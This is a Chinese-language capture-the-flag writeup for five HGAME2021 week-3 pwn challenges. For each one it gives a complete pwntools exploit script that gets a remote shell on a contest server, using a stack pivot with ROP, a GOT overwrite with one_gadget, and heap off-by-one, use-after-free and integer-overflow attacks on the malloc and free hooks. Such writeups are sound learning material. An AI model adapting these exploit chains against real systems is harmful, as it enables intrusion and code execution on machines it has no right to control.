zoukankan      html  css  js  c++  java
  • HGAME2021 week3 pwn writeup

      一共放出五道题,都不是很难。

    blackgive

      考栈转移,值得注意的一点是转移过去先填充几个ret,因为如果直接在转移过去的地方写rop链,执行起来会覆盖到上面的一些指针,导致程序不能正常输入和输出。我比较疑惑的是,我不清楚为什么我用system打不通,最后用one_gadgets才做出来。

     1 from pwn import *
     2 
     3 p = remote('182.92.108.71',30459)
     4 libc = ELF('./libc.so.6')
     5 elf = ELF('./pwn')
     6 context(os='linux',arch='amd64',log_level='debug')
     7 
     8 buf = 0x06010A0
     9 leave_ret = 0x04007A3
    10 pop_rdi = 0x000400813
    11 pop_rsi_r15 = 0x00400811
    12 ret = 0x004007A4
    13 
    14 payload = 'paSsw0rdx00'
    15 payload = payload.ljust(0x20,'x00')+p64(buf)+p64(leave_ret)
    16 p.sendafter(':',payload)
    17 
    18 payload = p64(ret)*0x6+p64(pop_rdi)+p64(elf.got['puts'])
    19 payload += p64(elf.plt['puts'])+p64(pop_rdi)+p64(0)
    20 payload += p64(pop_rsi_r15)+p64(buf+0x78)+p64(0)
    21 payload += p64(elf.plt['read'])
    22 p.sendafter('right!
    ',payload)
    23 
    24 puts = u64(p.recv(6).ljust(8,'x00'))
    25 libc_base = puts-libc.symbols['puts']
    26 binsh = libc_base+libc.search('/bin/sh').next()
    27 system = libc_base+libc.symbols['system']
    28 print 'libc_base-->'+hex(libc_base)
    29 print 'binsh-->'+hex(binsh)
    30 print 'system-->'+hex(system)
    31 
    32 og = [0x4f3d5,0x4f432,0x10a41c]
    33 shell = libc_base+og[1]
    34 payload = p64(shell)
    35 p.send(payload)
    36 p.interactive()

    without_leak

      题目关闭了标准输出和错误输出,导致不能泄露libc拿shell。

      在buu上面做过一道wustctf2020_closed,也是将标准输出和错误输出关闭了,不同点在于那道题是直接拿到了shell,而这道题还没有拿到shell。

      思路是改写got表,将close的got表改成one_gadget,然后再去执行close拿到shell,就和buu上面的那道题一样了。让流重定向,就可以正常的输出了。(经过测试,将read的got表改成one_gadget也可以拿到shell)

      至于为什么是read和close,就需要根据one_gadget和原来的got地址进行对比,发现这两个函数的got地址和one_gadget只相差两个字节,也就是四位,又因为后三位是固定的,所以有1/16的几率可以拿到shell。如果修改其他函数的got表,算了一下拿到shell的几率是1/4096,太难了,作为非洲酋长的我,深刻知道,自己有多脸黑。拿到shell之后执行exec 1>&0(或者是cat flag>&0),题目就做出来了,还侥幸拿了一血。

     1 from pwn import *
     2 
     3 elf = ELF('./pwn',checksec="false")
     4 context.log_level = 'debug'
     5 
     6 pop_rdi = 0x000401243
     7 pop_rsi_r15 = 0x00401241
     8 og = [0x4f3d5,0x4f432,0x10a41c]
     9 init = 0x040119B
    10 
    11 while 1:
    12     try:
    13         p = remote('182.92.108.71',30483)
    14         payload = 'a'*0x20+'bbbbbbbb'
    15         payload += p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)
    16         payload += p64(elf.got['close'])+p64(0)+p64(elf.plt['read'])
    17         payload += p64(init)+p64(0x0401185)
    18         p.sendafter('
    ',payload)
    19         p.send('x1cx34')
    20         p.sendline('exec 1>&0')
    21         p.sendline('ls')
    22         p.recvuntil('flag')
    23         break
    24     except:
    25         p.close()
    26 p.sendline('cat flag')
    27 p.recv()
    28 p.interactive()

    Library management System

      给了libc,发现是ubuntu16.04的环境。

      add函数中存在off by one,通过修改下一个chunk的size位,构造unsorted chunk,释放掉再申请回来,这步就成功泄露libc地址了,然后就是正常的做题,通过堆块重叠,修改fd地址,将chunk申请到__malloc_hook-0x23的位置,通过realloc抬栈,拿shell。做题的人都没有几个,这题拿了二血。

     1 from pwn import *
     2 
     3 #p = process('./pwn')
     4 p = remote('182.92.108.71',30431)
     5 elf = ELF('./pwn')
     6 libc = ELF('./libc.so.6')
     7 context.log_level = 'debug'
     8 
     9 def duan():
    10     gdb.attach(p)
    11     pause()
    12 def add(size,content):
    13     p.sendlineafter('choice: ','1')
    14     p.sendlineafter('title: ',str(size))
    15     p.sendafter('title: ',content)
    16 def delete(index):
    17     p.sendlineafter('choice: ','2')
    18     p.sendlineafter('id: ',str(index))
    19 def show(index):
    20     p.sendlineafter('choice: ','3')
    21     p.sendlineafter('id: ',str(index))
    22 
    23 og = [0x45226,0x4527a,0xf0364,0xf1207]
    24 
    25 add(0x18,'aaaaaaaa
    ')
    26 add(0x30,'bbbbbbbb
    ')
    27 add(0x68,'cccccccc
    ')
    28 add(0x10,'dddddddd
    ')
    29 delete(0)
    30 add(0x18,'a'*0x18+'xb1')
    31 delete(1)
    32 add(0x70,'aaaaaaaa
    ')
    33 show(1)
    34 p.recvuntil('aaaaaaaa')
    35 libc_base = u64(p.recv(6).ljust(8,'x00'))-248-0x10-libc.symbols['__malloc_hook']
    36 malloc_hook = libc_base+libc.symbols['__malloc_hook']
    37 shell = libc_base+og[1]
    38 realloc = libc_base+libc.symbols['realloc']
    39 print 'libc_base-->'+hex(libc_base)
    40 print 'malloc_hook-->'+hex(malloc_hook)
    41 delete(2)
    42 delete(1)
    43 add(0x70,'aaaaaaaa'*6+p64(0)+p64(0x71)+p64(malloc_hook-0x23)+'
    ')
    44 add(0x68,'aaaaaaaa
    ')
    45 add(0x68,'a'*(0x13-8)+p64(shell)+p64(realloc+12)+'
    ')
    46 p.sendlineafter('choice: ','1')
    47 p.sendlineafter('title: ','32')
    48 p.interactive()

    todolist

      出题人说这道题题目本身有问题,进行了降分处理。

      ubuntu18.04的,有uaf,很简单。

     1 from pwn import *
     2 
     3 #p = process('./pwn')
     4 p = remote('182.92.108.71',30411)
     5 elf = ELF('./pwn')
     6 #libc = ELF('./libc.so.6')
     7 libc = ELF('./libc-2.27.so')
     8 context.log_level = 'debug'
     9 
    10 def duan():
    11     gdb.attach(p)
    12     pause()
    13 def add(size):
    14     p.sendlineafter('exit
    ','1')
    15     p.sendlineafter('write?
    ',str(size))
    16 def delete(index):
    17     p.sendlineafter('exit
    ','2')
    18     p.sendlineafter('delete?
    ',str(index))
    19 def edit(index,size,content):
    20     p.sendlineafter('exit
    ','3')
    21     p.sendlineafter('edit?
    ',str(index))
    22     p.sendlineafter('write?
    ',str(size))
    23     p.send(content)
    24 def show(index):
    25     p.sendlineafter('exit
    ','4')
    26     p.sendlineafter('check?
    ',str(index))
    27 
    28 #og = [0x4f365,0x4f3c2,0xe58b8,0xe58bf,0xe58c3,0x10a45c,0x10a468]
    29 og = [0x4f3d5,0x4f432,0x10a41c]
    30 
    31 add(0x410)
    32 add(0x10)
    33 delete(0)
    34 show(0)
    35 libc_base = u64(p.recvuntil('x7f').ljust(8,'x00'))-96-0x10-libc.symbols['__malloc_hook']
    36 free_hook = libc_base+libc.symbols['__free_hook']
    37 shell = libc_base+og[1]
    38 print 'libc_base-->'+hex(libc_base)
    39 print 'free_hook-->'+hex(free_hook)
    40 delete(1)
    41 edit(1,8,p64(free_hook))
    42 add(0x10)
    43 add(0x10)
    44 edit(3,8,p64(shell))
    45 delete(2)
    46 p.interactive()

    todolist2

      修改过后的题目,free之后把指针清0了,不存在uaf了。

      漏洞主要是在edit函数,在进行写的时候有整数溢出漏洞。

      通过edit函数可以进行溢出,覆盖fd指针,还是打__free_hook就可以拿到shell。

     1 from pwn import *
     2 
     3 #p = process('./pwn')
     4 p = remote('182.92.108.71',30521)
     5 elf = ELF('./pwn')
     6 #libc = ELF('./libc.so.6')
     7 libc = ELF('./libc-2.27.so')
     8 context.log_level = 'debug'
     9 
    10 def duan():
    11     gdb.attach(p)
    12     pause()
    13 def add(size):
    14     p.sendlineafter('exit
    ','1')
    15     p.sendlineafter('write?
    ',str(size))
    16 def delete(index):
    17     p.sendlineafter('exit
    ','2')
    18     p.sendlineafter('delete?
    ',str(index))
    19 def edit(index,size,content):
    20     p.sendlineafter('exit
    ','3')
    21     p.sendlineafter('edit?
    ',str(index))
    22     p.sendlineafter('write?
    ',str(size))
    23     p.send(content)
    24 def show(index):
    25     p.sendlineafter('exit
    ','4')
    26     p.sendlineafter('check?
    ',str(index))
    27 
    28 #og = [0x4f365,0x4f3c2,0xe58b8,0xe58bf,0xe58c3,0x10a45c,0x10a468]
    29 og = [0x4f3d5,0x4f432,0x10a41c]
    30 
    31 add(0x410)    #0
    32 add(0x10)    #1
    33 delete(0)
    34 add(0x410)    #2
    35 show(2)
    36 libc_base = u64(p.recvuntil('x7f').ljust(8,'x00'))-96-0x10-libc.symbols['__malloc_hook']
    37 free_hook = libc_base+libc.symbols['__free_hook']
    38 shell = libc_base+og[1]
    39 print 'libc_base-->'+hex(libc_base)
    40 print 'free_hook-->'+hex(free_hook)
    41 add(0x10)
    42 add(0x10)
    43 delete(4)
    44 edit(3,-1,'aaaaaaaa'*2+p64(0)+p64(0x21)+p64(free_hook)+'
    ')
    45 add(0x10)
    46 add(0x10)
    47 edit(6,8,p64(shell))
    48 delete(5)
    49 p.interactive()

    后记

      花了一天的时间,把题目都做出来了,还拿了两个题的一血。第三周over!

  • 相关阅读:
    Eygle力荐:Oracle 19c升级文档、视频、问答集锦
    每日一题 2020.05.11
    “前浪”数据仓库和大数据平台,到“后浪”数据中台的演变史
    面向对象例子
    super()调用父类方法
    iOS视图控制器初始化问题
    详解EBS接口开发之更新供应商付款方法
    oracle对大对象类型操作:blob,clob,nclob
    "ORA-20100: 为 FND_FILE 创建文件 o0003167.tmp 失败"
    错误 frm-40654 记录已经被另一个用户更新,重新查询以查看修改
  • 原文地址:https://www.cnblogs.com/bhxdn/p/14401656.html
Copyright © 2011-2022 走看看